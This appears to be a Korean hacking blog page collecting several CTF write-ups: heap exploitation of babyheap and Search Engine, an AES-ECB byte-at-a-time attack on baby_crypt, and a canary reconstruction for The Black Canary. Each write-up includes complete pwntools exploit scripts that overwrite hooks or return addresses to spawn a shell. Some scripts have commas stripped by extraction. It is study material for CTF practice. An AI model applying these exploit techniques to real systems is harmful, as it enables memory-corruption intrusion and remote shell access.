Write-up

[0ctf 2017] babyheap

2018. 10. 20. 01:36

풀었습니다!

fastbin fd를 덮어서 이리저리 조작...


0x70 사이즈의 fastbin fd를 __malloc_hook의 주소로 덮어서 새로운 청크를 할당하여 그곳을 oneshot으로 덮어 쉘을 얻었습니다.


참고로 __malloc_hook은 사용자가 hook함수를 등록해놓았을 때, malloc 호출시 실행되는 함수로 보통 디버깅용도로 사용된다고합니다.

그래서 __malloc_hook 을 덮으면 malloc시에 원하는 함수를 실행시킬수 있습니다.


사실 타 라이트업이 굉장히 많기도해서 설명은 생략하고... 코드의 주석으로 대체!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
 
conn = process("./0ctfbabyheap")
 
def Allocate(size):
    conn.recvuntil("Command: ")
    conn.sendline("1")
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    
def Fill(idx, size, content):
    conn.recvuntil("Command: ")
    conn.sendline("2")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    conn.recvuntil("Content: ")
    conn.send(content)
    
def Free(idx):
    conn.recvuntil("Command: ")
    conn.sendline("3")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    
def Dump(idx):
    conn.recvuntil("Command: ")
    conn.sendline("4")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
 
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(128)
Allocate(0x60)
Allocate(0x60)
Allocate(0x60)
 
# stage1. fake chunk size 0x41 (idx:1)
# leak heap_address
payload = p64(0)*3
payload += p64(0x41)
Fill(0len(payload), payload)
Free(1)    # free idx:1
conn.sendline("c")
 
Allocate(48# reallocate idx:1 size is  0x21 -> 0x41
payload = p64(0)*3    
payload += p64(0x21)    ## calloc! so.. Recover idx 3 chunk
Fill(1len(payload), payload) 
 
Free(3# 3
conn.sendline("c")
Free(2# 2
conn.sendline("c")
 
# leak heap_addr
Fill(10x20"A"*0x20)
Dump(1)
conn.recvuntil("A"*0x20)
heap_addr = u64(conn.recv(6)+"\x00"*2)-0x60
log.info("heap_addr : "+hex(heap_addr));
 
# fastbin fd_overwrite
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p64(heap_addr+0x80# smallbin chunk address
Fill(0len(payload), payload)
 
Allocate(10# idx 2 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)    # smallbin chunk size -> overwrite fastbin size
Fill(2len(payload), payload)
 
Allocate(10# idx 3 allocate fastbin(but this is smallbin chunk)
 
# Recover smallbin_size
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x91)
Fill(2len(payload), payload)
Free(4)
conn.sendline("c")
 
# leak Library Address
Dump(3)
conn.recvuntil("Content: \n")
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x3c27b8
log.info("libc_addr : "+hex(libc_addr))
 
malloc_hook = libc_addr + 0x3c2740
oneshot = libc_addr + 0x4647c #0x4647c 0xe9415 0xea36d
log.info("malloc_hook : "+hex(malloc_hook))
log.info("oneshot : "+hex(oneshot))
 
## overwrite fd
Free(7)
conn.sendline("c")
Free(6)
conn.sendline("c")
 
payload = p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-0x13)
Fill(5len(payload), payload)
 
Allocate(0x60# idx 4
Allocate(0x60# idx 6
 
## overwrite malloc_hook -> oneshot
payload = "\x00"*0x3
payload += p64(oneshot)
Fill(6len(payload), payload)
 
Allocate(0x1# idx 4
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27

[9447 CTF 2015] Search Engine

2018. 9. 30. 22:53

요즘 Heap 쪽을 공부하고 있습니다. 그래서 Shellphish팀에서 정리해놓은 how2heap문서를 보면서 공부를 하고 있는데, 처음부터 굉장히 어려운 문제를 잡은 느낌이 듭니다 ;; 이 문제를 본 것은 한달 전이지만 푼 것은 한달 후네요 ㅠ 아무튼 시작했으니 끝을 보긴해야해서 이렇게 write up으로 남겨봅니다.



예시가 너무 어렵습니다 Shellphish팀... 쉬운 문제없나요 ㅠ


Ever wanted to search through real life? Well this won't help, but it will let you search strings.

Find it at search-engine-qgidg858.9447.plumbing port 9447.


아무튼 문제는 위와 같습니다. 문자열 검색을 수행하는 바이너리를 하나 던져주는데, 보호기법을 확인해보면 아래와 같습니다.



Canary와 NX가 걸려있는데, 일단 한번 실행해보는게 좋을 것 같습니다.



주어진 바이너리를 실행하게 되면 3가지 메뉴가 주어지고 문자열을 추가(Index), 검색(Search)할 수 있습니다.



그리고 Search를 통해 단어를 검색하여 그 단어가 포함된 문장을 검색할 수 있고, 또 검색한 후 그 문자열을 삭제할지 말지를 결정할 수 있습니다.


이제 IDA를 통해 바이너리의 자세한 과정을 살펴보겠습니다.




while문안에서 메뉴를 출력하고 어떤 기능을 수행할지 선택하게 됩니다.



AddSentence함수를 살펴보면 위와 같이 구조체를 malloc을 통해 할당하여 입력받은 문장을 저장하는 것을 볼 수 있습니다.


또한 공백을 기준으로 word를 나눠서 이를 또 구조체를 malloc으로 할당해서 Linked list를 만들게 됩니다.


struct dic {
    char* word_addr;
    int word_size;
    char* sentence_addr;
    int sentence_size;
    struct dic* next;
};


그럼 이제 어디서 취약점이 터지느냐? 아래 Search함수를 보면 memset을 통해서 sentence에 저장된 내용은 NULL(0)으로 모두 지워버리고, free를 하는 것을 볼 수 있습니다. 하지만 word들이 저장된 Linked List에서는 이를 삭제해버리지 않기때문에, NULL값을 검색하게되면 이미 삭제되었던 값을 다시 한번 삭제하고 free할 수 있게 되어 double free bug가 발생하게 됩니다.




그러므로 우리는 여기서 fastbin list를 HEAD -> B -> A -> B .. 형식으로 만들 수 있고, B를 2번 할당할 수 있으므로 B의 fd 값을 수정하여 다음에 할당할 영역의 주소를 임의로 조작할 수 있습니다.


그런데 어디에 있는 값을 수정해야할까요?



main함수가 끝나는 ret에 break를 걸고 스택에 있는 값을 살펴보면 위와 같습니다. 0x40~~이 있는데 이 위치를 잘 조정해서, 아래와 같이해서 fastbin리스트에 넣게되면 0x40을 size로 보고 정상적으로 fastbin에 포함되게 됩니다.




하지만 저희는 스택값을 모르는데요?

그래서 스택값을 leak해야하는데, 이것은 아래 함수를 통해서 할 수 있습니다.


위 함수는 사용자로부터 숫자를 입력받고, 만약 숫자가 아닌값이 입력된다면 재귀적으로 다시 한번 자기자신을 호출하여 숫자를 입력받을 때까지 계속하게 호출되게 됩니다. 그런데 이 때 2번째 Select_choice함수를 호출하게 될 때, 이전 함수의 ebp가 남아있게 되는데 이 위치가 num+48에 있기때문에 num을 입력할 때, 문자열 48자리로 채우게 되면 printf로 출력될 때 NULL바이트를 만날때까지 출력되기때문에 스택주소를 leak할 수 있습니다.



자.. 이제 스택 주소도 구했겠다. 이제 library주소만 leak할 수 있다면 완벽할 텐데 말이죠. 그래서 여러가지 알아보던 중에 저희 팀의 chaem님이 올린 글을 보게됬는데, 여기서 smallbin을 이용해서 library주소를 leak할 수 있다는 것을 알게 되었습니다.



(0ctf2017) babyheap Write up에서 나온 smallbin을 이용하는 방법입니다.


6. 그리고 4번 chunk의 크기를 다시 smallbin 크기로 만들어주고 free합니다. free하면 smallbin 특성상 unsorted bin이 되기 때문에 fd와 bk에 main_arena+88 주소가 남게 됩니다. 이 점을 이용하면 dump를 통해 main_arena+88의 leak이 가능합니다.



fastbin 이외의 다른 bin들은 free되고 나면 데이터영역에 fd와 bk가 남게되는데, 이 때 다음 fd와 bk를 연결할 chunk가 없다면 libc의 <main_area+88>의 주소가 남게됩니다.


자. 이제 libc_base도 구했고, stack_address도 있으니 double free bug를 이용해서 ret에 원하는 주소를 쓰면 되겠습니다.


이것을 정리하면 아래와 같습니다.


  1. stack addresslibc_base leak
  2. oneshot_gadget 구하기
  3. ret를 oneshot_gadget으로 덮기
#!/usr/bin/env python
from pwn import *

conn = process("search")

def leak_stack():
	conn.recvuntil("3: Quit")
	conn.sendline("1")
	conn.recvuntil("size:")
	conn.sendline("A")
	conn.recvuntil("number")
	conn.sendline("A"*48)
	stack_addr = conn.recvuntil(" is ")[-10:-4]
	stack_addr = u64(stack_addr + "\x00"*2)
	conn.sendline("1")
	conn.recvuntil("word:")
	conn.sendline("A")
	return stack_addr

def Search(word, size):
	conn.recvuntil("3: Quit")
	conn.sendline("1")
	conn.recvuntil("size:")
	conn.sendline(str(size))
	conn.recvuntil("word:")
	conn.sendline(word)

def Delete(choice):
	conn.recvuntil("(y/n)?")
	conn.sendline(choice)

def AddSentence(sentence, size):
	conn.recvuntil("3: Quit")
	conn.sendline("2")
	conn.recvuntil("size:")
	conn.sendline(str(size))
	conn.recvuntil("sentence:")
	conn.sendline(sentence)

stack_addr = leak_stack() + 0x92 # fake size 0x40
log.info("stack_addr : 0x%x" % stack_addr)

#leak_libc  -  <main_arena+88>
AddSentence("A"*506+" small", 512)
Search("small", 5)
Delete("y")

Search("\0"*5, 5)
conn.recvuntil(": ")
libc_addr = u64(conn.recv(8)) - 0x3c4b78
log.info("libc_addr  : 0x%x" % libc_addr)
Delete("n")

# double free bug
AddSentence("A"*50+" dfb", 54) #A
AddSentence("B"*50+" dfb", 54) #B
AddSentence("C"*50+" dfb", 54) #C

# fastbin HEAD -> A -> B -> C -> NULL
Search("dfb", 3)
Delete("y") #C
Delete("y") #B
Delete("y") #A

# fastbin HEAD -> B -> A -> B -> C -> NULL
Search("\x00"*3, 3)
Delete("y") #B
Delete("n") #A

# fastbin HEAD -> B -> A -> B -> X ...
AddSentence(p64(stack_addr).ljust(54), 54) #B
AddSentence("A"*50+" dfb", 54) #A
AddSentence("A"*50+" dfb", 54) #B

# ret overwrite
oneshot = libc_addr + 0x45216
log.info("oneshot  : 0x%x" % oneshot)

payload = "A"*6
payload += p64(oneshot)
AddSentence(payload.ljust(54), 54) #B

conn.recvuntil("3: Quit")
conn.sendline("3")

conn.interactive()



이제 익스코드를 돌려보면 아래와 같이 쉘을 얻은 것을 볼 수 있습니다.



*후기

역시 heap은 어렵군요 ㅠㅠ 더 열심히 공부해야겠습니다. 분명 비슷한 문제를 이전에 풀어본거같은데, 할 때마다 heap은 헷갈리는 것 같습니다. 익숙치않아서 그런걸까요 ㅎㅎ; 그리고 저는 pwnalbe문제를 풀 때 주로 peda를 쓰는데, 역시 heap 문제 풀때는 pwndgb가 더 편한것같네요... 다음에 문제를 풀게 되면 한 번 이용해봐야겠습니다. 워낙 익숙하지않아서 후... 다음번에는 좀 더 문제를 빠르게 풀 수 있으면 좋겠습니다!

'Write-up > Pwnable' 카테고리의 다른 글

[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22

얼마전에 서울하이유스호스텔에서 있었던 HackingCamp 18th에 참여하였었는데요. 그 때 내부 CTF에서 나왔던 Crypto문제(Easy CAESC)가 인상깊어서 비슷한 문제가 없을까 하고 찾던 중에 알게된 문제입니다. CSAW Quals 2017에서 나왔던 BabyCrypt란 문제인데요 ㅎㅎ Baby란 이름이 붙었음에도 350점이라는 높은 점수를 들고있기에 한번 풀어보도록 하겠습니다!


baby_crypt The cookie is input + flag AES ECB encrypted with the sha256 of the flag as the key.

nc crypto.chal.csaw.io 1578


먼저 문제를 살펴보면 이 baby_crypt가 무엇을 하는지 알려줍니다. cookie를 뱉어내는데, 이것이 input + flag의 형태로 되어있고 AES ECB 모드로 flag의 sha256해시값을 키로하여 암호화되어나온다는 것을 알 수 있습니다.


여기서 AES의 키 값으로 flag의 sha256해시값을 사용했으니까 "AES의 키값을 알아내야하나?"하시는 분들이 있을 수도 있는데, 설령 키 값을 알아낸다고 해도 단방향 해시값이기 때문에 다시 이를 평문으로 되돌릴수는 없습니다. (물론 키 값을 알아내는 것부터가 안됩니다만 ㅎ)


그럼 어떻게 해야하느냐? 문제에서 암호화해서 주어지는 값! input + flag에서 뒤의 flag값을 취하면 되는 것입니다!! 그런데 문제를 풀기전에 이 문제의 서버는 이미 닫힌지 아~~주 오래되었기 때문에, 저 문제를 풀기위해 문제를 직접 구현할 필요가 있습니다.(...)


그래서 직접 구현하였습니다! 핫ㅋ


#!/usr/bin/env python
from Crypto.Cipher import AES
import hashlib
import sys

flag = open("flag", "r").read().strip()

AES_KEY = hashlib.sha256(flag).hexdigest().decode("hex")[:16]
BLOCK_SIZE  = 16

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def GetCookie(input):
	cipher = AES.new(AES_KEY, AES.MODE_ECB)
	input = pad(input + flag)
	print("Your Cookie is: " + cipher.encrypt(input).encode("hex"))

while(True):
	print("Enter you username (no whitespace) : "),
	sys.stdout.flush()
	input = raw_input()
	GetCookie(input)


이제 위 소스파일을 이용해 문제를 풀어봅시다!


먼저 대부분의 블록암호 문제에서 블록암호 모드를 사용하여 암호화된 암호문에 대한 공격은 아래와 같이 진행됩니다.


  1. 암호모드 특정(Mode Detection: ECB, CBC, CTR 등)
  2. 블록사이즈 구하기(Block size)
  3. 공격 (1~2에 구한 것을 기반으로 하여)


하지만 이 문제에선 이미 1번에 해당하는 암호 모드를 알려주었기 때문에 저희는 2번부터 시작하면 됩니다.


이제 이 암호모드에서 사용하는 블록사이즈를 구해야합니다. 여기서 블록사이즈란, 블록암호에서는 데이터를 암호화할때 블록단위로 나누어 암호화를 하게게되는데 이 때 블록을 어느크기만큼 나누어 암호화할지 알려주는 것이 바로 블록사이즈입니다.


그러므로 평문을 암호화하기 위해서는 평문의 길이를 Block_SIZE로 맞추어줄 필요가 있고, 이를 위해 패딩을 하게 됩니다. AES블록암호화에서는 보통 PKCS#7 패딩방식을 이용하는데, 이 문제에서 패딩이 어떻게 이뤄지는냐는 중요하지않으므로 그림 하나로 설명을 대체하겠습니다. 자세한 설명은 위키피디아에서 보실수 있습니다.



자 이제 블록암호에서 암호화를 할 때 평문크기를 블록크기에 맞게 패딩을 한다는 사실을 알았으니, 문제 소스를 실행하여 한글자씩 문자를 보내봅시다.



abcdefghijklmo를 보냈을 때와 abcdefghijklmop를 보냈을 때 받은 암호문의 길이가 갑자기 증가하게 되고 우리는 이를 통해 Block_SIZE를 유추할 수 있습니다. 아래 python코드를 통해 실제 블록크기가 얼마가 되는지 구할 수 있습니다. (여기서 encryption_oracle(plain)함수가 평문에 대한 암호문을 받아오는 함수입니다.)


def find_block_size(encryption_oracle):
	pre_cp = encryption_oracle("")
	p = "A"
	while(True):
		cp = encryption_oracle(p)
		size = len(cp)-len(pre_cp)
		if size != 0:
			return size
		p+="A"



Block_SIZE : 16


자 이제 블록크기를 구했으니, 실제 공격만 하면 됩니다. 하지만 그 전에 ECB모드가 어떻게 동작되는지 알아보도록 하겠습니다.

ECB Mode

  • 가장 단순한 모드로 평문을 블록단위로 나누어 순차적으로 암호화 하는 구조
  • 같은 평문 -> 같은 암호문



암호화과정은 위와 같습니다. 여기서 보시면 아시겠지만, ECB모드는 동일 평문이 항상 동일 암호문으로 암호화되는 것을 알 수 있는데, 대부분이 사람들이 ECB모드를 설명할 때 나오는 펭귄 사진을 가져와보도록하겠습니다.



이렇게 ECB Mode로 암호화할 경우, 평문이 항상 같은 암호문으로 1:1 대칭되기때문에 그림의 윤곽이 드러나는 것을 알 수 있습니다. 이제 이 ECB Mode의 특성을 이용해서 문제를 풀어보겠습니다.


문제에서 주어진 암호화는 아래와 같이 이루어집니다.


저희가 username을 입력하면 그 값뒤에 FLAG가 붙어 암호화되는 방식입니다. 즉, 최종적으로는 아래와 같은 데이터가 암호화 오라클에 들어가게됩니다.



예를 들어 FLAG의 길이가 20이고, username으로 "AAAA..."로 10글자가 들어갔다면 블록사이즈인 16에 맞춰줘야하기때문에 PADDING이 2개붙어서 data가 들어가게 되고 암호화되어 출력되게됩니다.



여기서 저희가 제어할 수 있는 부분은 username부분입니다. data : 16bytes(1) | 16bytes(2) | 16 bytes(3)


여기서 저희가 Block_SIZE인 16보다 작은 15바이트를 "AAAAAAAAAAAAAAA"로 입력하게 된다면 FLAG의 마지막 한바이트를 가져올 수 있게 되고, 저희는 (1)블록의 처음 15바이트를 알고있으므로 (1)블록의 16번째 바이트에 대하여 255가지 암호문을 만들어 비교함으로써 마지막 한바이트를 알 수 있습니다.


계획은 이제 아래와 같습니다.


  1. 블록크기보다 1바이트 작은 입력블록을 만든다.

(예: 블록크기가 8인 경우 "AAAAAAA"로 지정).

  1. 마지막 바이트를 바꿔가며 마지막 바이트에 대한 블록암호의 사전을 만든다.

(예: “AAAAAAAA”, “AAAAAAAB”, “AAAAAAAC” 의 암호문 블록 사전)



  1. 1번에서 만든 입력블록(1바이트작은)을 input_str에 넣어 나온 암호문을 사전에서 찾는다. 이게 FLAG의 첫 번째 바이트

  1. 위 과정을 반복하여 FLAG의 바이트를 하나씩 찾는다.


#!/usr/bin/env python
from pwn import *
import string

conn = process(["python", "BabyCrypto.py"])

def encryption_oracle(plain):
	conn.recvuntil("Enter you username (no whitespace) : ")
	conn.sendline(plain)
	conn.recvuntil("Your Cookie is: ")
	enc = conn.recvline().strip()
	return enc.decode("hex")

def find_block_size(encryption_oracle):
	pre_cp = encryption_oracle("")
	p = "A"
	while(True):
		cp = encryption_oracle(p)
		size = len(cp)-len(pre_cp)
		if size != 0:
			return size
		p+="A"

def get_next_byte(encryption_oracle, known_suffix, block_size):
	dic = {}
	feed = "\x00"*(block_size-1-(len(known_suffix)%block_size))

	pt = ''
	#for i in range(0,256):
	for i in range(0x20,0x80):
		pt += feed + known_suffix + chr(i)
	ct = encryption_oracle(pt)[:len(pt)]
	for i in range(0x20,0x80):
		idx = (i-0x20)*(len(feed + known_suffix)+1)
		ct_one = ct[idx:idx+len(feed + known_suffix)+1]
		dic[ct_one]=chr(i)

	ct = encryption_oracle(feed)[:len(feed + known_suffix)+1]
	if ct in dic:
		return dic[ct]
	else:
		return ""

BLOCK_SIZE = find_block_size(encryption_oracle)
secret = ""

print("BLOCK_SIZE : %d "  %  BLOCK_SIZE)

while(True):
	one_byte = get_next_byte(encryption_oracle, secret, BLOCK_SIZE)
	if one_byte == "":
		break
	secret += one_byte
	print(secret)
print("result : "+secret)


서버가 이미 닫혔으므로, python pwntools를 사용하여 로컬에서 공격하는 코드이다. 위 파이썬 익스코드를 실행하면 로컬환경에 있는 flag를 획득할 수 있다.



*후기

한번 풀었던 유형의 문제였지만, Writeup을 써보고, 다시 한번 정리해보고 싶어서 작성해보았다. 문제는 AES-ECB모드에 대한 이해와 BLOCK_SIZE로 암호화되는 블록암호의 특성을 대한 지식을 필요로 하기때문에 블록암호에 대해 공부하고 있다면 풀어보면 좋은 문제라고 생각한다.

'Write-up > Crypto' 카테고리의 다른 글

[EasyCTF] Diffie-Cult (디피-헬만 문제)  (0) 2018.11.26
[RITSEC2018] DarkPearAI  (0) 2018.11.19
[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30

noxCTF 2018에서 나온 The Black Canary라는 문제이다. 문제명에서 짐작할 수 있듯이 Canary를 우회해야한다.



"당신에게 세상을 구할수 있는 기회가 주어졌다. 그것을 낭비하지마라"

넹... 일단 nc와 바이너리가 주어집니다. 바이너리를 다운받아서 분석해봅시다.



카나리가 있다. 문제 이름부터가 블랙카나리이니 예상했던 바이다.

실행하면 아래와 같다.



5가지 메뉴가 있고 각각 인자를 추가, 수정, 제거, 출력하는 기능을 가지고 있다.

IDA를 이용해 분석해보면 아래의 3번 메뉴에서 취약점이 터지는 것을 찾을 수 있다.



여기서 many 변수에 인자를 몇개 삭제할 건지를 scanf로 받게되는데, 음수체크를 하지않아서 음수를 넣게되면

num -= many 에서 오히려 더하기가 되어 저장된 인자수를 증가시킬수 있다.



이렇게 원래라면 10개이상 생성이 되지않지만...



Remove 메뉴에서 consecutive 하게 삭제하는 메뉴를 선택하여 -10만큼 삭제하라고 하면...



이렇게 출력메뉴에서 현재 저장된 인자수가 10에서 -10을 빼게되어 20이 되어 스택의 내용이 출력된다.

그러므로 이제 인자 수정메뉴를 통해서 스택에 올라가있는 return address를 수정할 수 있는데, 문제는 여기서 10번째 인자를 수정하게 될때

카나리값이 포함되어 있어 return address를 새로 쓰는 과정에서 카나리가 변조되어 *** stack smashing detected ***: 이 뜨게 된다.


그럼 카나리값(Canary)을 leak해야하는 건가.. 싶었는데, 이게 사용자로부터 입력을 fgets함수로 받아서 \n은 null로 바꿔주고, 맨 마지막에 항상 null이 붙기때문에 null값을 제거해서 Canary를 leak하는 방식은 사용할 수 없다.


대체 어떻게해야하지 ㅁㄴㅇㄹ 여기서부터 CTF당시에 Canary를 leak도 못하고 뭘 어떻게해야할지몰라서 헤매다가 결국 못풀엇는데 ㅡㅡ; 의외로 해결법이 간단햇다... 게다가 내가 멍청했다;; 예전에 한번 정리해두고 써먹지를 못함 ㅡㅡ;

Stack Canary 우회 : https://xerxes-break.tistory.com/285



위 글에서 3. Canary 루틴 노출 : Canary를 만드는 루틴이 노출될 경우 역연산을 통해서 canary를 알아낼 수 있다.   이 부분이다.

IDA로 분석할 때, 제대로 보지않아서 생긴 대참사...

다시한번 IDA에서 함수들을 잘살펴보면 Canary값을 만드는 함수가 있다. sub_4008C7을 살펴보면 *MK_FP(__FS__, 40LL) = result를 저장하는데... 이게 카나리...



그리고 이 함수는 .init_array에 들어가 있는데, .init_array는 오브젝트 파일을 로드할 때 실행되는 함수의 포인터 배열이 있는 곳으로 프로그램이 실행되면 .init_array 섹션에서 함수 포인터를 호출하게 된다.



그러므로 프로그램이 시작하면 저기서 Canary값을 Set하게 되는것...

이제 저 루틴을 그대로 가져와서 그대로 사용해도 되고, Code patch를 통해서 출력하게 해도 된다.


Code patch가 더 간단할수도 있지만, 카나리 생성함수를 그대로 가져와서 C언어로 짜면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// gcc set_canary.c -g -o set_canary
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
/* #include <linux/types.h> */
/* # define unsigned __int8 __uint8_t */
/* # define unsigned __int16 __uint16_t */
/* # define unsigned __int16 __uint64_t */
# define _DWORD uint32_t
# define getenv(NULL0
# define LODWORD(x)  (*((_DWORD*)&(x)))  // low dword
 
__uint64_t set_canary()
{
  int v0; // ebx
  __uint64_t v1; // rbx
  int v2; // er12
  __uint64_t v3; // ST08_8
  time_t v4; // rbx
  __uint64_t v5; // ST08_8
  time_t v6; // ST08_8
  time_t v7; // ST08_8
  __uint64_t result; // rax
 
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (__uint64_t)(__uint8_t)(v0 ^ (__uint64_t)getenv(NULL)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((__uint64_t)(__uint8_t)(v2 ^ (__uint64_t)getenv(NULL)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (__uint16_t)((((__uint16_t)v4 ^ (__uint16_t)time(0LL)) << 8& 0xFF00+ v3;
  v6 = ((time(0LL) << 32& 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16+ v4;
  LODWORD(v4) = (time(0LL) >> 8+ v4;
  result = ((__uint64_t)(__uint8_t)(v4 + time(0LL)) << 40+ v7;
  /* __writefsqword(0x28u, result); */
  return result;
}
 
int main()
{
    printf("0x%lx\n", set_canary());
}
 
 
/* original
unsigned __int64 sub_4008C7()
{
  int v0; // ebx@1
  unsigned __int64 v1; // rbx@1
  int v2; // er12@1
  unsigned __int64 v3; // ST08_8@1
  time_t v4; // rbx@1
  unsigned __int64 v5; // ST08_8@1
  time_t v6; // ST08_8@1
  time_t v7; // ST08_8@1
  unsigned __int64 result; // rax@1
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (unsigned __int64)(unsigned __int8)(v0 ^ (unsigned __int64)getenv(name)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((unsigned __int64)(unsigned __int8)(v2 ^ (unsigned __int64)getenv(name)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (unsigned __int16)((((unsigned __int16)v4 ^ (unsigned __int16)time(0LL)) << 8) & 0xFF00) + v3;
  v6 = ((time(0LL) << 32) & 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16) + v4;
  LODWORD(v4) = (time(0LL) >> 8) + v4;
  result = ((unsigned __int64)(unsigned __int8)(v4 + time(0LL)) << 40) + v7;
  *MK_FP(__FS__, 40LL) = result;
  return result;
}
*/
cs



이제 return address를 oneshot_gadget으로 덮어주면 되겠다.

라이브러리주소는 인자 15번째에서 leak이 되므로, 거기서부터해서 oneshot까지 offset을 구해서 공격하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
from pwn import *
import os
#context.log_level = 'debug'
conn = remote("chal.noxale.com"6667)
 
def Print():
    conn.recvuntil("5. Let the world die")
    conn.sendline("1")
    
def Add(argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("2")
    conn.recvuntil("Enter your argument:")
    conn.sendline(argument)
 
def Edit(idx, argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("3")
    conn.recvuntil("Which argument would you like to edit?")
    conn.sendline(str(idx))
    conn.recvuntil("Enter your new argument:")
    conn.sendline(argument)
 
def Remove(select, idx, num,argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("4")
    conn.recvuntil("What would you like to do?")
    conn.sendline(str(select))
    conn.recvuntil("?")
    conn.sendline(str(idx))
    if select==2:
        conn.recvuntil("?")
        conn.sendline(str(num))
 
def WorldDie():
    conn.recvuntil("5. Let the world die")
    conn.sendline("5")
        
canary = int(os.popen("./get_canary").read().strip(),16)
log.info("canary : 0x%x" % canary)
        
for i in range(9):
    Add("a"*31)
 
Add("b"*31)
Remove(2,0,-6,"")
Print()
conn.recvuntil("15. ")
 
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x5f1168
log.info("libc_addr : 0x%x" % libc_addr)
oneshot = libc_addr + 0x45216
 
#ROP
payload = p64(0xdeadbeef)
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(oneshot)
 
Edit(10, payload[:-1])
WorldDie()
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18

[PlaidCTF] ropasaurusrex

2018. 8. 27. 23:41

보통 rop 공부를 할 때, 풀어보는 문제 1순위권에 들어간다고한다. 문제이름도 rop어쩌구저쩌구이니 그럴만하다고 생각한다.

(물론 나는 이제 풀어보지만)


어쨋든 오늘은 고향으로 내려오는데 비가 겁나게 내려서 고생하고, 각종 대중교통에 시달려서 피곤해서;;

왠지 쉬울것같기도하고 예전에 rop공부하면서 "풀어봐야지~ 풀어봐야지~"하면서 결국 안푼 ropasaurusrex를 꺼내왔다.


그런데 쉬움 ㅇㅇ


writeup이 이제와서는 그냥 저냥 스샷도없고 말로만 설명하게 된다. 이게 귀차니즘이란건가

아마 이 롸업을 보는 사람이 있다면 이 문제를 풀어보려하거나 문제를 풀고 다른 사람이 어떻게 풀었는지 보는 사람일테니

바이너리랑 익스코드만 올리겠당..


바이너리는 여기


ropasaurusrex


익스는 대충 이렇다.


#stage 1

1. BOF를 일으켜 ROP한다.

2. write(1, read@got, 4)로 read의 주소를 leak

3. read(0, bss영역주소, 8)로 "/bin/sh"를 bss영역에 쓴다.

4. 2에서 leak한 read주소로부터 system함수의 주소를 구한다. (함수 오프셋이용)

5. 다시 main으로 점프한다.


위 단계를 마치게되면, system함수의 주소와 "/bin/sh"가 bss영역에 쓰여있게 된다.

그리고 다시 main으로 돌아왔으므로, 다시 bof를 일으키고 system("/bin/sh")로 뛰게하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
